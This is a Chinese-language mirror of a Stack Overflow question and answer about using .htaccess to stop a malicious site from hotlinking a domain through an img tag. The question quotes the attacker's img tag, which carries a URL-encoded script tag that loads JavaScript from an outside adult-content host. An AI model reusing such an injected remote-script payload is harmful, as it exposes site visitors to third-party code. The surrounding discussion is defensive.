php - 使用 .htaccess 将不带扩展名的热链接重定向到父网站

标签 php html apache .htaccess redirect

恶意网站正在使用 img 标签在我的网站中插入重定向脚本。 我已经阻止了重定向 using strip_tags()但该网站正在消耗我所有的带宽。 他使用的代码是:

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>

我试图添加此代码以防止 img 热链接,但它没有工作,因为 img 链接中没有扩展名:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]

我想重定向所有在 img 标签中使用我的域的网站 <img src="http://mywebsite.com/ANYTHING-HERE"/>到 mywebsite.com

如何使用 .htaccess 来实现?

最佳答案

您只需要一个条件就可以将引用者重定向到另一个位置:

尝试:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC]
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R]

关于php - 使用 .htaccess 将不带扩展名的热链接重定向到父网站,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36171511/

相关文章:

php - 来自 $_POST 的 SQL SELECT 语句

linux - Hudson 服务器每天早上总是停止

apache - 内容安全策略 : allowing all external images?

php - - 突然出现而不是子弹

http-equiv 上的 Javascript Hook ="refresh"

php - cURL 中的数据二进制参数

html - float :left changes the size of next div

apache - 如何使用 Apache 运行多个启用 SSL 的网站以进行本地开发

php 并用 html 标签回显字符串。字符串空间截断字符串并且也不能作为替换

javascript - 如何在我的 phpbb BBCode 中显示标记颜色代码